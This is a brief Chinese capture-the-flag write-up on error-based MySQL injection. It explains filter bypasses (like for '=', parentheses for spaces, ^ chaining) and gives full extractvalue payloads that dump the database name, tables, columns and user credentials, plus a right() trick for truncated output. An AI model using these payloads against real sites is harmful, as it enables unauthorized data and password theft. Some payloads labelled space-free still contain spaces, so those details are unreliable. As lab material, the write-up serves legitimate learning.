首先总结知识点:
报错注入模板:
extractvalue(0x7e,concat(0x7e,(select database()))
updatexml(0x7e,(concat(0x7e,(select database())),0x7e)
这里过滤了空格和等号,当然还有其他的一些字符串;
0."="过滤绕过,用like代替“=”
1.空格绕过
需要用()绕过,就是除了操作字符比如select ,from where like,的库表段名用括号括起来
2.直接在123'extrcatvalue是不行的,需要使用or,或者^,
使用or 原本语句是or extractvalue……但空格需要()则是'or(extractvalue....)%23
使用^的话直接'^extractvalue(1,concat(查询语句),1)%23
3.left(),right()显现出其他内容
最后爆出字段的地方,只爆出了一部分;使用right(字段,大小)爆出;
完整payload:无空格绕过:
爆库名:
1'^extractvalue(0x7e,concat(1,(select database()),0x7e))%23
爆表名:
1'^extractvalue(1,concat(1,(select table_name from information_schema.tables where table_schema like 'geek'),0x7e))%23
爆字段:
1'^extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name like 'H4rDsq1'),0x7e))%23
这里使用了group_concat()函数,作用是解决 :
爆内容:
1'^extractvalue(1,concat(1,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e))%23
但发现flag不完整:
使用right函数如下:
1'^extractvalue(1,concat(1,(select(right(group_concat(id,username,password),20))from(H4rDsq1)),0x7e))%23